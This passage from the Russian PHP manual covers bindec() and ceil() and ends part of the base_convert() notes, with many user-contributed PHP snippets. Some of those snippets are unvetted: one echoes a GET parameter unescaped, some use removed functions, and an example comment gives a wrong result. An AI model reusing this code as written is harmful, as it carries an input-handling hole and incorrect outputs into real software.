    return $BASECODE[$resultINT].$partialCode;
}
echo $speedCodeDEC."<br>";
echo $risultato = creaSpeedCode ( $speedCodeDEC,"",$BASECODE);
Theriault 30-Nov-2009 02:11
If you would like to convert numbers into just the uppercase alphabet base and vice-versa (e.g. the column names in a Microsoft Windows Excel sheet..A-Z, AA-ZZ, AAA-ZZZ, ...), the following functions will do this.

<?php

/**
 * Converts an integer into the alphabet base (A-Z).
 *
 * @param int $n This is the number to convert.
 * @return string The converted number.
 * @author Theriault
 *
 */
function num2alpha($n) {
    $r = '';
    for ($i = 1; $n >= 0 && $i < 10; $i++) {
        $r = chr(0x41 + ($n % pow(26, $i) / pow(26, $i - 1))) . $r;
        $n -= pow(26, $i);
    }
    return $r;
}
/**
 * Converts an alphabetic string into an integer.
 *
 * @param int $n This is the number to convert.
 * @return string The converted number.
 * @author Theriault
 *
 */
function alpha2num($a) {
    $r = 0;
    $l = strlen($a);
    for ($i = 0; $i < $l; $i++) {
        $r += pow(26, $i) * (ord($a[$l - $i - 1]) - 0x40);
    }
    return $r - 1;
}

?>

Microsoft Windows Excel stops at IV (255), but this function can handle much larger. However, English words will start to form after a while and some may be offensive, so be careful.
cyrilbele at yahoo dot fr 16-Apr-2009 01:58
If you want to do sharding, at some point you will need to decide which shard to target. Here is a simple function to assign the data to a particular shard based on a key (usually identifier of the row)

Here is a simple function to get the shard based on the key and the number of shards available

<?php
function getShard($key,$nbShards) {
    $num = substr(base_convert(sha1($key), 16, 10),4,6);
    return $num%$nbShards;
}
?>
Ray Paseur sometimes uses GMail 06-Dec-2006 03:55
[EDIT BY danbrown AT php DOT net: This function provides conversion of Arabic numerals (those used by most of the world, the standard 1,2,3,4,...) into Roman numerals (I,II,III,IV,...).  The original author failed to provide a description, but due to the usefulness of the function, it is being preserved from deletion, and a simple description added.]

<?php
function roman_numerals($input_arabic_numeral='') {

    if ($input_arabic_numeral == '') { $input_arabic_numeral = date("Y"); } // DEFAULT OUTPUT: THIS YEAR
    $arabic_numeral            = intval($input_arabic_numeral);
    $arabic_numeral_text    = "$arabic_numeral";
    $arabic_numeral_length    = strlen($arabic_numeral_text);

    if (!ereg('[0-9]', $arabic_numeral_text)) {
return false; }

    if ($arabic_numeral > 4999) {
return false; }

    if ($arabic_numeral < 1) {
return false; }

    if ($arabic_numeral_length > 4) {
return false; }

    $roman_numeral_units    = $roman_numeral_tens        = $roman_numeral_hundreds        = $roman_numeral_thousands        = array();
    $roman_numeral_units[0]    = $roman_numeral_tens[0]    = $roman_numeral_hundreds[0]    = $roman_numeral_thousands[0]    = ''; // NO ZEROS IN ROMAN NUMERALS

    $roman_numeral_units[1]='I';
    $roman_numeral_units[2]='II';
    $roman_numeral_units[3]='III';
    $roman_numeral_units[4]='IV';
    $roman_numeral_units[5]='V';
    $roman_numeral_units[6]='VI';
    $roman_numeral_units[7]='VII';
    $roman_numeral_units[8]='VIII';
    $roman_numeral_units[9]='IX';

    $roman_numeral_tens[1]='X';
    $roman_numeral_tens[2]='XX';
    $roman_numeral_tens[3]='XXX';
    $roman_numeral_tens[4]='XL';
    $roman_numeral_tens[5]='L';
    $roman_numeral_tens[6]='LX';
    $roman_numeral_tens[7]='LXX';
    $roman_numeral_tens[8]='LXXX';
    $roman_numeral_tens[9]='XC';

    $roman_numeral_hundreds[1]='C';
    $roman_numeral_hundreds[2]='CC';
    $roman_numeral_hundreds[3]='CCC';
    $roman_numeral_hundreds[4]='CD';
    $roman_numeral_hundreds[5]='D';
    $roman_numeral_hundreds[6]='DC';
    $roman_numeral_hundreds[7]='DCC';
    $roman_numeral_hundreds[8]='DCCC';
    $roman_numeral_hundreds[9]='CM';

    $roman_numeral_thousands[1]='M';
    $roman_numeral_thousands[2]='MM';
    $roman_numeral_thousands[3]='MMM';
    $roman_numeral_thousands[4]='MMMM';

    if ($arabic_numeral_length == 3) { $arabic_numeral_text = "0" . $arabic_numeral_text; }
    if ($arabic_numeral_length == 2) { $arabic_numeral_text = "00" . $arabic_numeral_text; }
    if ($arabic_numeral_length == 1) { $arabic_numeral_text = "000" . $arabic_numeral_text; }

    $anu = substr($arabic_numeral_text, 3, 1);
    $anx = substr($arabic_numeral_text, 2, 1);
    $anc = substr($arabic_numeral_text, 1, 1);
    $anm = substr($arabic_numeral_text, 0, 1);

    $roman_numeral_text = $roman_numeral_thousands[$anm] . $roman_numeral_hundreds[$anc] . $roman_numeral_tens[$anx] . $roman_numeral_units[$anu];
return ($roman_numeral_text);
}
?>
CJ Dennis 06-Apr-2006 01:03
Really huge numbers might be truncated at both ends.
eg:
<?php
$binary="11010101001111010001110101000100011110010110110".
"001111000010001010001111001100011010110110010010011010".
"001011010000001001011111110001010101101101011010101010".
"000100011101110010110010100111110001010010111010110011".
"001111111100011001011011001110001111110000101011010010";
print(strtoupper(base_convert($binary, 2, 16)));
?>
will output:
9E8EA23CB63C0000000000000000000000000000000000000000000000000000 (64 hex digits)
when the correct result would be:
6A9E8EA23CB63C228F31AD9268B4097F156D6AA11DCB29F14BACCFF196CE3F0AD2 (66 hex digits)
Notice that as well as the result showing '0's after B63C which you would expect it is also missing the first 6A before 9E.
lindsay at bitleap dot com 18-Mar-2005 01:17
If you need to use base_convert with numbers larger then 32 bit, the following gmp implementation of base_convert should work.

<?php

/*use gmp library to convert base. gmp will convert numbers > 32bit*/
function gmp_convert($num, $base_a, $base_b)
{
        return gmp_strval ( gmp_init($num, $base_a), $base_b );
}

?>
simon at simonster dot com 15-Jun-2004 06:05
Here are some functions for converting integers to and from base 256. Converting to base 64 is simple given these.

<?php
function to_base256($number, $from_base = 10) {
    $binary_number = base_convert($number, $from_base, 2);
    $final_string = "";
    $new_length = (ceil(strlen($binary_number)/8)*8);
    $binary_number = str_pad($binary_number, $new_length, "0", STR_PAD_LEFT);
    for($i=($new_length-8); $i>=0; $i-=8) {
        $final_string = chr(base_convert(substr($binary_number, $i, 8), 2, 10)).$final_string;
    }
    return $final_string;
}

function from_base256($string, $to_base = 10) {
    $number = "";
    for($i=0; $i<strlen($string); $i++) {
        $number .= str_pad(base_convert(ord($string{$i}), 10, 2), 8, "0", STR_PAD_LEFT);
    }
    return base_convert($number, 2, $to_base);
}
?>

Yes, I know that this would be more efficient if it used mod instead of base_convert, but it needs to work with integers > 32 bits.
AdamJacobMuller at AdamJacobMuller dot com 28-Apr-2004 02:20
<?php
function binarycodedstring2dec($binary) {
        $len=strlen($binary);
        $rows=($len/4)-1;
        if (($len%4)>0) {
                $pad=$len+(4-($len%4));
                $binary=str_pad($binary,$pad,"0",STR_PAD_LEFT);
                $len=strlen($binary);
                $rows=($len/4)-1;
        }
        $x=0;
        for ($x=0;$x<=$rows;$x++) {
                $s=($x*4);
                $bins=$binary[$s].$binary[$s+1].$binary[$s+2].$binary[$s+3];
                $num=base_convert($bins,2,10);
                if ($num>9) {
                        die("the string is not a proper binary coded decimal\n");
                } else {
                        $res.=$num;
                }
        }
        return $res;
}
?>

a binary coded decimal is converted by taking groups of four from a decimal string,
for example the binary coded decimal string
1000 = 8
10001000 does not = 136 but 88
so
binarycodedstring2dec(1000) = 8
binarycodedstring2dec(11100000111001)=3839
binarycodedstring2dec(100000111001)=839

i truly have no idea if this function will be useful to anyone, i simply failed a physics midterm because i didn't know this so i wrote this function to make sure i would never forget how to convert binary coded decimals
fiftytoo at buckeyeexpress dot com 24-Dec-2003 12:57
I needed a function to invert a hex value, which i used for setting font colors when they were on a colored background, that way i will get a contrasting color.

Im sure there are other reasons to use this, you decide!!

<?php
function InvertColor($hex) {
  return sprintf("%06s",base_convert(($hex ^ 0xFFFFFF),10,16));
  };

print '<td bgcolor="BB2222"><font color="'.InvertColor(0xBB2222).'">Blah</font></td>';
// Prints 44dddd as the font color, which is it's opposite on the color wheel

?>


Двоичное в десятичное

  • « base_convert
  • ceil »
  • PHP Manual
  • Математические функции
  • Двоичное в десятичное

bindec

(PHP 4, PHP 5, PHP 7, PHP 8)

bindec — Двоичное в десятичное

Описание

bindec(string $binary_string): int|float

Возвращает десятичный эквивалент двоичного числа binary_string.

bindec() преобразует двоичное число в целое число (int) или, если необходимо, по причинам размера, в число с плавающей точкой (float).

bindec() интерпретирует значения binary_string как беззнаковое число. Так как bindec() воспринимает старший бит как ещё один порядок величины, а не знаковый бит.

Список параметров

binary_string

Бинарная строка для преобразования. Любые некорректные символы в binary_string игнорируются. Начиная с PHP 7.4.0, предоставление любых некорректных символов устарело.

Внимание

Параметр должен быть строкой. Использование иных типов данных приведёт к непредсказуемому результату.

Возвращаемые значения

Десятичное значение binary_string

Список изменений

Версия | Описание
7.4.0 | Передача некорректных символов будет выдавать уведомление об устаревании. Результат будет вычислен так, как если бы некорректные символы не существовали.

Примеры

Пример #1 Пример использования bindec()

<?php
echo bindec('110011') . "\n";
echo bindec('000110011') . "\n";

echo bindec('111');
?>

Результат выполнения данного примера:

51
51
7

Пример #2 bindec() интерпретирует ввод как беззнаковое число

<?php
/*
* Смысл этого примера можно найти в выводе скрипта,
* а не в коде PHP.
*/

$magnitude_lower = pow(2, (PHP_INT_SIZE * 8) - 2);
p($magnitude_lower - 1);
p($magnitude_lower, 'Видите резкую смену значений? Смотрите в следующий раз...');

p(PHP_INT_MAX, 'PHP_INT_MAX');
p(~PHP_INT_MAX, 'интерпретируется как увеличенное на единицу значение PHP_INT_MAX');

if (PHP_INT_SIZE == 4) {
$note = 'интерпретируется как самое большое целое без знака (unsigned integer)';
} else {
$note = 'интерпретируется как самое большое целое без знака (unsigned integer)
(18446744073709551615), но искажается из-за недостаточной точности float';
}
p(-1, $note);

function p($input, $note = '') {
echo "input: $input\n";

$format = '%0' . (PHP_INT_SIZE * 8) . 'b';
$bin = sprintf($format, $input);
echo "binary: $bin\n";

ini_set('precision', 20); // Для надёжности на 64-битных системах.
$dec = bindec($bin);
echo 'bindec(): ' . $dec . "\n";

if ($note) {
echo "NOTE: $note\n";
}

echo "\n";
}
?>

Результат выполнения данного примера на 32-битных машинах:

input:        1073741823
binary:       00111111111111111111111111111111
bindec():     1073741823

input:        1073741824
binary:       01000000000000000000000000000000
bindec():     1073741824
NOTE:         Видите резкую смену значений? Смотрите в следующий раз...

input:        2147483647
binary:       01111111111111111111111111111111
bindec():     2147483647
NOTE:         PHP_INT_MAX

input:        -2147483648
binary:       10000000000000000000000000000000
bindec():     2147483648
NOTE:         интерпретируется как увеличенное на единицу значение PHP_INT_MAX

input:        -1
binary:       11111111111111111111111111111111
bindec():     4294967295
NOTE:         интерпретируется как самое большое целое без знака (unsigned integer)

Результат выполнения данного примера на 64-битных машинах:

input:        4611686018427387903
binary:       0011111111111111111111111111111111111111111111111111111111111111
bindec():     4611686018427387903

input:        4611686018427387904
binary:       0100000000000000000000000000000000000000000000000000000000000000
bindec():     4611686018427387904
NOTE:         Видите резкую смену значений? Смотрите в следующий раз...

input:        9223372036854775807
binary:       0111111111111111111111111111111111111111111111111111111111111111
bindec():     9223372036854775807
NOTE:         PHP_INT_MAX

input:        -9223372036854775808
binary:       1000000000000000000000000000000000000000000000000000000000000000
bindec():     9223372036854775808
NOTE:         интерпретируется как увеличенное на единицу значение PHP_INT_MAX

input:        -1
binary:       1111111111111111111111111111111111111111111111111111111111111111
bindec():     18446744073709551616
NOTE:         интерпретируется как самое большое целое без знака (unsigned integer)
              (18446744073709551615), но искажается из-за недостаточной точности float

Примечания

Замечание:

Эта функция может конвертировать числа, которые слишком большие для типа int на текущей платформе. В этом случае большие значения возвращаются как float.

Смотрите также

  • decbin() - Переводит число из десятичной системы счисления в двоичную
  • octdec() - Переводит число из восьмеричной системы счисления в десятичную
  • hexdec() - Переводит число из шестнадцатеричной системы счисления в десятичную
  • base_convert() - Преобразование числа между произвольными системами счисления

User Contributed Notes

jpfstange at gmail dot com 09-Dec-2015 08:54
<?php

       //binfloat (For single precision floating point numbers)
       //IEE754
       //https://en.wikipedia.org/wiki/Single-precision_floating-point_format

        function binfloat(Array $num){

                $sign           =       $num[0] ? 1 : -1;                       //1 bit
                $exponent       =       pow(2,bindec(implode('',array_slice($num,1,8)))-127);
                $fraction       =       array_slice($num,9,count($num));        //23 bits
                $fracSum        =       1;

                for($i=0;$i<23;$i++){

                        $fracSum += $fraction[$i] * pow(2,-1-$i);

                }

                return $fracSum*$exponent;

        }

        $num    =       isset($_GET['num']) ? $_GET['num'] : '00111110001000000000000000000000';

        if(strlen($num)<32){

                echo "Invalid binary number $num\n";
                exit(1);

        }

        $num    =       str_split($num);

        echo sprintf('Num is: [%s]%s',implode('',$num),"\n");
        echo sprintf('Result is: %s%s',binfloat($num),"\n");
patrick dot boens at latosensu dot be 15-Jul-2012 01:14
Left-shift a string by a number of bytes
<?php
function STR_shl( $szStr,$nBits )
/*-----------------------------*/
{
    if ( $nBits < 1 || $nBits > 7 )                                     /* If not adequate number of bits */
    {
        return ( $szStr );                                              /* Return the original string */
    }   /* if ( $nBits < 1 || $nBits > 7 ) */

    if ( ( $iLength = strlen( $szStr ) ) <= 0 )                         /* If string empty */
    {
        return ( $szStr );                                              /* Return the original string */
    }   /* if ( ( $iLength = strlen( $szStr ) ) <= 0 ) */

    $szRetVal   = '';                                                   /* Create an empty string */

    $szBits     = STR_Binary( $szStr );                                 /* $szStr in bits */
    $szLostBits = STR_Left( $szBits,$nBits );                           /* The $nBits leftmost bits of the string */
    $szShifted  = substr( $szBits,$nBits ) . $szLostBits;               /* $szStr left shifted */

    for ( $i = 0;$i < $iLength;$i++ )                                   /* Treat the entire string (per slice of 8 bits) */
    {
        $szRetVal .= chr( bindec( substr( $szShifted,$i * 8,8 ) ) );    /* Concatenate the CHR to the result string */
    }   /* for ( $i = 0;$i < $iLength;$i++ ) */

    return ( $szRetVal );                                               /* Return result to caller */
}
?>

Right-shift a string by a number of bytes
<?php

function STR_shr( $szStr,$nBits )
/*-----------------------------*/
{
    if ( $nBits < 1 || $nBits > 7 )                                     /* If not adequate number of bits */
    {
        return ( $szStr );                                              /* Return the original string */
    }   /* if ( $nBits < 1 || $nBits > 7 ) */

    if ( ( $iLength = strlen( $szStr ) ) <= 0 )                         /* If string empty */
    {
        return ( $szStr );                                              /* Return the original string */
    }   /* if ( ( $iLength = strlen( $szStr ) ) <= 0 ) */

    $szRetVal   = '';                                                   /* Create an empty string */

    $szBits     = STR_Binary( $szStr );                                 /* $szStr in bits */
    $szLostBits = STR_Right( $szBits,$nBits );                          /* The $nBits rightmost bits of the string */
    $szShifted  = $szLostBits . substr( $szBits,0,-$nBits );            /* $szStr right shifted */

    for ( $i = 0;$i < $iLength;$i++ )                                   /* Treat the entire string (per slice of 8 bits) */
    {
        $szRetVal .= chr( bindec( substr( $szShifted,$i * 8,8 ) ) );    /* Concatenate the CHR to the result string */
    }   /* for ( $i = 0;$i < $iLength;$i++ ) */

    return ( $szRetVal );                                               /* Return result to caller */
}
?>

Additional functions used by the two preceding:
<?php
function STR_Binary( $szStr )
/*-------------------------*/
{
    $szRetVal = '';                                                     /* Ready to return an empty string */

    if ( ( $iLength = strlen( $szStr ) ) > 0 )                          /* If string NOT empty */
    {
        for ( $i = 0; $i < $iLength;$i++ )                              /* Treat each character of the string */
        {
            $szRetVal .= sprintf( '%08b',ord( $szStr[$i] ) );           /* Turn this char to a binary representation (8 bits) */
        }   /* for ( $i = 0; $i < $iLength;$i++ ) */
    }   /* if ( ( $iLength = strlen( $szStr ) ) > 0 ) */

    return ( $szRetVal );                                               /* Return result to caller */
}

function STR_Left( $szStr,$iCount = 1 )
/*----------------------------------*/
{
    return substr( $szStr,0,$iCount );
}   /* End of function strleft() */

function STR_Right( $szString,$iCount )
/*----------------------------------*/
{
    return substr( $szString,0 + strlen( $szString ) - $iCount,$iCount );
}
?>
info at rickdg dot nl 01-Apr-2010 04:40
Two functions to convert 16bit or 8bit binary to integer using two's complement. If input exceeds maximum bits, false is returned. Function is easily scalable to x bits by changing the hexadecimals.

<?php function _bin16dec($bin) {
    // Function to convert 16bit binary numbers to integers using two's complement
    $num = bindec($bin);
    if($num > 0xFFFF) { return false; }
    if($num >= 0x8000) {
        return -(($num ^ 0xFFFF)+1);
    } else {
        return $num;
    }
}

function _bin8dec($bin) {
    // Function to convert 8bit binary numbers to integers using two's complement
    $num = bindec($bin);
    if($num > 0xFF) { return false; }
    if($num >= 0x80) {
        return -(($num ^ 0xFF)+1);
    } else {
        return $num;
    }
} ?>
Nitrogen 21-Jul-2009 07:27
Binary to Decimal conversion using the BCMath extension..

<?php

function BCBin2Dec($Input='') {
  $Output='0';
  if(preg_match("/^[01]+$/",$Input)) {
    for($i=0;$i<strlen($Input);$i++)
      $Output=BCAdd(BCMul($Output,'2'),$Input{$i});
  }
  return($Output);
}

?>

This will simply convert from Base-2 to Base-10 using BCMath (arbitrary precision calculation).

See also: my 'BCDec2Bin' function on the 'decbin' document.
Enjoy,
Nitrogen.
nodarinodo at mail dot ru 08-Jan-2009 11:51
<?php
// bindecfunc :)))) I think it works well too :)
function bindecc($str)
    {
        $str = str_replace(" ", "", $str);
        $strr = preg_match('/[^01]/', $str);
        if($strr == 1) { return "<b> Error ! only 1 and 0;</b>"; }
        $strsig = strlen($str);
        $strr1 = strrev($str);
        $strf = '';
        for($i = $strsig; $i >= 0; $i--)
        {
            $strf += ($strr1[$i] * pow(2, $i));
            #$strf += $str[$i];
        }
        return $strf;
    }
?>
flashpack at gmail dot com 16-Nov-2008 04:40
for converting fractions :
eg : 1001.1101

<?php
function BinaryToDecimal($binary){
  $binary=trim($binary);
  if (strstr($binary,'.')){
    $split=explode('.',$binary);
    $integer=$split[0];
    $fraction=$split[1];

    $digits=str_split($fraction);
    $num=sizeof($digits);
    for ($i=1; $i<=$num;$i++){
      if ($digits[$i-1]>1){
        echo '<script>alert("Enter Binary Digits Only {0,1}\n \n eg: 11001 or 11001.011");history.go(-1)</script> ';
      }
      $exponent=pow(2,-$i);
      $fraction_result+=$digits[$i-1]*$exponent;
    }

  }else{
    $integer=$binary;
  }

  $splits=str_split($integer);
  $num=sizeof($splits)-1;
  $i=$num;
  foreach($splits as $digits){
    if ($digits>1){
      echo '<script>alert("Enter Binary Digits Only {0,1}\n \n eg: 11001 or 11001.011");history.go(-1)</script> ';
    }
    $exponent=pow(2,$i);
    $integer_result+=$digits*$exponent;
    $i--;
  }
  if($fraction_result){
    $result=$integer_result+$fraction_result;
  }else {
    $result=$integer_result;
  }
  return $result ;
}
?>
mashematician at gmail dot com 13-Mar-2008 08:57
A binary to decimal conversion function that takes advantage of the BC library functions to return decimal values of arbitrary length.

Input type must be a string in order to work properly.

<?php

function binary_to_decimal($a) {
    $bin_array = str_split($a);

    $y=sizeof($bin_array)-1;
    for ($x=0; $x<sizeof($bin_array)-1; $x++) {
        if ($bin_array[$x] == 1) {
            $bin_array[$x] = bcpow(2, $y);
        }
        $y--;
    }

    for ($z=0; $z<sizeof($bin_array); $z++) {
        $result = bcadd($result, $bin_array[$z]);
    }
    echo $result;
}

binary_to_decimal('11111');

?>
alan hogan dot com slash contact 09-Nov-2007 01:34
The "smartbindec" function I wrote below will convert any binary string (of a reasonable size) to decimal.  It will use two's complement if the leftmost bit is 1, regardless of bit length.  If you are getting unexpected negative answers, try zero-padding your strings with sprintf("%032s", $yourBitString).

<?php
function twoscomp($bin) {
    $out = "";
    $mode = "init";
    for($x = strlen($bin)-1; $x >= 0; $x--) {
        if ($mode != "init")
            $out = ($bin[$x] == "0" ? "1" : "0").$out;
        else {
            if($bin[$x] == "1") {
                $out = "1".$out;
                $mode = "invert";
            }
            else
                $out = "0".$out;
        }
    }
    return $out;
}
function smartbindec($bin) {
    if($bin[0] == 1)
        return -1 * bindec(twoscomp($bin));
    else return (int) bindec($bin);
}
?>
gwbdome at freenet dot de 19-Aug-2004 02:43
i think a better method than the "shift-method" is my method ^^...
here it comes:

function convert2bin($string) {
     $finished=0;
     $base=1;
     if(preg_match("/[^0-9]/", $string)) {
         for($i=0; $string!=chr($i); $i++);
         $dec_nr=$i;
     }
     else $dec_nr=$string;
     while($dec_nr>$base) {
         $base=$base*2;
         if($base>$dec_nr) {
             $base=$base/2;
             break;
         }
     }
     while(!$finished) {
         if(($dec_nr-$base)>0) {
             $dec_nr=$dec_nr-$base;
             $bin_nr.=1;
             $base=$base/2;
         }
         elseif(($dec_nr-$base)<0) {
             $bin_nr.=0;
             $base=$base/2;
         }
         elseif(($dec_nr-$base)==0) {
             $bin_nr.=1;
             $finished=1;
             while($base>1) {
                 $bin_nr.=0;
                 $base=$base/2;
             }
         }
     }
     return $bin_nr;
 }

=====================================================

if you want to reconvert it (from binary to string or integer) you can use this function:

function reconvert($bin_nr) {
     $base=1;
     $dec_nr=0;
     $bin_nr=explode(",", preg_replace("/(.*),/", "$1", str_replace("1", "1,", str_replace("0", "0,", $bin_nr))));
     for($i=1; $i<count($bin_nr); $i++) $base=$base*2;
     foreach($bin_nr as $key=>$bin_nr_bit) {
         if($bin_nr_bit==1) {
             $dec_nr+=$base;
             $base=$base/2;
         }
         if($bin_nr_bit==0) $base=$base/2;
     }
     return(array("string"=>chr($dec_nr), "int"=>$dec_nr));
 }
martin at punix dot de 29-May-2003 10:47
## calculate binary with "shift-method" ##

<?php
function dec2bin($decimal_code){
 for($half=($decimal_code);$half>=1;$half=(floor($half))/2){
   if(($half%2)!=0){
    $y.=1;
   }
   else{
    $y.=0;
   }
  }
 $calculated_bin=strrev($y);
 return $calculated_bin;
}
?>

## example ##

[bin] 123 = [dec] 1111011

e.g.
123/2 = 61,5 => 1
61/2  = 30,5 => 1
30/2  = 15   => 0
15/2  = 7,5  => 1
7/2   = 3,5  => 1
3/2   = 1,5  => 1
1/2   = 0,5  => 1
(0/2   = 0    finish)


Округляет дробь в большую сторону

  • « bindec
  • cos »
  • PHP Manual
  • Математические функции
  • Округляет дробь в большую сторону

ceil

(PHP 4, PHP 5, PHP 7, PHP 8)

ceil — Округляет дробь в большую сторону

Описание

ceil(int|float $num): float

Возвращает ближайшее большее целое от num.

Список параметров

num

Значение, которое требуется округлить в большую сторону

Возвращаемые значения

Возвращает ближайшее большее целое от num. Тип возвращаемого значения остаётся float т.к. диапазон float больше int.

Список изменений

Версия | Описание
8.0.0 | num больше не принимает внутренние объекты, поддерживающие числовое преобразование.

Примеры

Пример #1 Пример использования ceil()

<?php
echo ceil(4.3); // 5
echo ceil(9.999); // 10
echo ceil(-3.14); // -3
?>

Смотрите также

  • floor() - Округляет дробь в меньшую сторону
  • round() - Округляет число типа float

User Contributed Notes

emoore at thunkit dot biz 02-Aug-2023 06:06
Casting to an int can fix the floating point issue when doing math and then calling ciel(...)

echo PHP_EOL;
$value = 77.4;
$value1 = (int) ($value * 100);
echo $value1;   // 7740
echo PHP_EOL;
$value2 = ((int) ($value * 100))/100;
echo $value2; // 77.4
echo PHP_EOL;
echo ceil($value1) . " ceil step"; // 7740
echo PHP_EOL;
echo ceil(7740.00000) . " ciel a float"; // 7740
echo PHP_EOL;
echo ceil($value * 100); // 7741
echo PHP_EOL;
echo ceil($value * 100) / 100;         // 77.41 - WRONG!
echo PHP_EOL;
echo ceil(round($value * 100)) / 100;  // 77.4 - OK!
eep2004 at ukr dot net 13-May-2018 10:09
Caution!
<?php
$value = 77.4;
echo ceil($value * 100) / 100;         // 77.41 - WRONG!
echo ceil(round($value * 100)) / 100;  // 77.4 - OK!
eep2004 at ukr dot net 12-May-2018 10:52
Caution!
<?php
$value = 77.4;
echo ceil($value * 100) / 100;            // 77.41 - WRONG!
echo ceil((string)($value * 100)) / 100;  // 77.4 - OK!
Anonymous 03-Nov-2015 09:22
Just a quick note to be careful of, if you use the "round_up" code suggested by steve, i must warn you it isn't completely fool proof.

I have the following maths which is evaluated incorrectly

37.2000 - 6.2000 = 31.01

echo(round_up(37.2000 - 6.2000,2));

This returns the incorrect result, 31.01 which as any junior in mathematics knows...IS WRONG!

use with caution.
Bas Vijfwinkel 25-May-2015 03:38
Note that 'ceil' can show unexpected behaviour when using float values due to inaccuracies in the float system and PHP tendency to freely limiting the number of digits it displays to the user.
It might like it is rounding up values that end in 0 (zero) but actually PHP is not showing that the value is not exactly the value it shows.

<?PHP
echo('Displaying 13915.0000000000018190 : '. 13915.0000000000018190);
echo('<br>');
echo('Result ceil(13915.0000000000018190) :'.ceil(13915.0000000000018190));
echo('<br>');
?>
For example 13915 cannot be represented as exactly 13915 but becomes
13916.0000000000018190 and 'ceil' will therefore round it up to 13916.

<?PHP
$value = 12650 * 1.1;
echo('Expected behaviour : ceil(12650 * 1.1) = ceil(13915) = 13915');
echo('<br>');
echo('Using only ceil :'.ceil($value));
echo('<br>');
echo('Showing decimals : '.number_format($value - floor($value), 16));
echo('<br>');
echo('Using ceil + round : '.ceil(round($value,4)));
?>

So if 'ceil' looks like it is not working correctly and rounding up figures that end in 0 (zero) then this might be the cause of this behaviour.
Adding a simple 'round' before the applying the 'ceil' solves this problem.
cedricaubert at gmail dot com 14-Apr-2015 03:14
Here is a more accurate way to round on superior decimal.

function round_sup($nb, $precision) {
        $p = pow(10, $precision);
        return ceil(round($nb * $p, 1)) / $p;
}

$k = 10 * 4.98;                   // k = 49.8
echo ceil($k * 10) / 10;    // 49.9   !!
echo round_sup($k, 1);   // 49.8
Gemini_13 at torba dot su 05-Dec-2014 12:16
$test = (1 - 0.7) * 10;

$test_1 = ceil($test);
$test_2 = ceil($test * 10);

var_dump($test_1);    // float 4
var_dump($test_2);    // float 31
josoort at home dot nl 12-May-2014 07:14
You can simply make a ceil with decimals function by using the round() function and add 0.05 to the value if the value must have 1 decimal accuracy, or 0.005 for 2 decimals accuracy, or 0.0005 for 3 decimals etc.

Example :

function ceilDec($input, $decimals)
{
    $subtract = 5 / pow(10, $decimals + 1);
    $output = round($input + $subtract, $decimals);
    return $output;
}
eg at pensio dot com 29-Jul-2013 11:57
Remember that floating point precision means behavior can be "correct" - though not what you expect:

php > echo 100 * 1 * 0.07;
7
php > echo ceil(100 * 1 * 0.07);
8
alesegdia at gmail dot com 16-Jun-2013 07:00
Some people asking on rounding -1.5 to -2 and 1.5 to 2, the way is this:

<?=round($var, 0, PHP_ROUND_HALF_UP)?>

See round() doc for more information on this.
sebastien dot thevenaz at gmail dot com 30-Jul-2012 06:20
Here is another way to use ceil for decimal numbers with precision:

<?php
    function ceil_dec($number, $precision)
    {
        $coefficient = pow(10,$precision);
        return ceil($number*$coefficient)/$coefficient;
    }
?>
php is the best 20-Apr-2012 06:29
Ceil for decimal numbers with precision:

function ceil_dec($number,$precision,$separator)
{
    $numberpart=explode($separator,$number);
$numberpart[1]=substr_replace($numberpart[1],$separator,$precision,0);
    if($numberpart[0]>=0)
    {$numberpart[1]=ceil($numberpart[1]);}
    else
    {$numberpart[1]=floor($numberpart[1]);}

    $ceil_number= array($numberpart[0],$numberpart[1]);
    return implode($separator,$ceil_number);
}

echo ceil_dec(1.125,2,"."); //1.13
echo ceil_dec(-1.3436,3,"."); //-1.343
echo ceil_dec(102938.1,4,"."); //102938.1
Lexand 30-Mar-2012 12:15
$k = 0.14 * 100;
echo ceil($k); // results 15

solution is in converting float number to string

Example 1.
echo ceil ("{$k}"); // results 14

Example 2.
$totalSum1 = 102.1568;
$k = $totalSum1 / 100;
echo ceil ("{$k}"); // results 102.16

Example 3.
$totalSum2 = 102.15;
$k = $totalSum1 / 100;
echo ceil ("{$k}"); // results 102.15

useful for 'ceil' with precision capability
frozenfire at php dot net 06-Feb-2012 02:38
Please see http://www.php.net/manual/en/language.types.float.php for information regarding floating point precision issues.
oktam 10-May-2011 03:12
Actual behaviour:
echo ceil(-0.1); //result "-0" but i expect "0"

Workaround:
echo ceil(-0.1)+0; //result "0"
AndrewS 07-Mar-2011 04:55
The code below rounds a value up to a nearest multiple, away from zero.  The multiple does not have to be a integer.  So you could round, say, to the nearest 25.4, allowing you to round measurements in mm to the nearest inch longer.

<?php
// $x is the variable
// $c is the base multiple to round to, away from zero
$result =  ( ($y = $x/$c) == ($y = (int)$y) ) ? $x : ( $x>=0 ?++$y:--$y)*$c ;
?>

I originally developed this as an example of write-only code: to make the point that being cleverly terse might save clock ticks but wastes more in programmer time generating un-maintainable code.

The inline code above nests one conditional statement inside another.  The value of y changes twice within the same line (three times, if you count the pre-increment).  The value of each assignment is used to determine branching within the conditional statement.

How it works can more easily be seen from the expansion below:

<?php
function myCeilingLong($x,$c)
{
    // $x is variable
    // $c is ceiling multiple
    $a = $x/$c ;
    $b = (int)$a ;
    if ($a == $b)
        return $x ;  // x is already a multiple of c;
    else
    {
        if ($x>=0)
            return ($b+1)*$c ;  // return ((int)(x/c)+1 ) * c
        else
            return ($b-1)*$c ;  // return ((int)(x/c)-1 ) * c
    }
}
?>

<?php
function myCeilingShort($x,$c)
{
    return ( ($y = $x/$c) == ($y = (int)$y) ) ? $x : ( $x>=0 ?++$y:--$y)*$c ;
}
?>

Comparing the versions for speed: the in-line version is about three times faster than myCeilingLong() - but this is almost entirely down to function call overhead.

Putting the in-line code inside the function: the difference in execution speed between myCeilingLong() and myCeilingShort() is around 1.5%.

ceil() is still around 25% faster than the in-line statement so if you are a speed hound your efforts might be better devoted to compiling your own library ...
Scott Weaver / scottmweaver * gmail 29-Aug-2008 10:46
I needed this and couldn't find it so I thought someone else wouldn't have to look through a bunch of Google results-

<?php

// duplicates m$ excel's ceiling function
if( !function_exists('ceiling') )
{
    function ceiling($number, $significance = 1)
    {
        return ( is_numeric($number) && is_numeric($significance) ) ? (ceil($number/$significance)*$significance) : false;
    }
}

echo ceiling(0, 1000);     // 0
echo ceiling(1, 1);        // 1000
echo ceiling(1001, 1000);  // 2000
echo ceiling(1.27, 0.05);  // 1.30

?>
themanwe at yahoo dot com 20-Mar-2007 11:35
float ceil

function fCeil($val,$pressision=2){
     $p = pow(10,$pressision);
    $val = $val*$p;
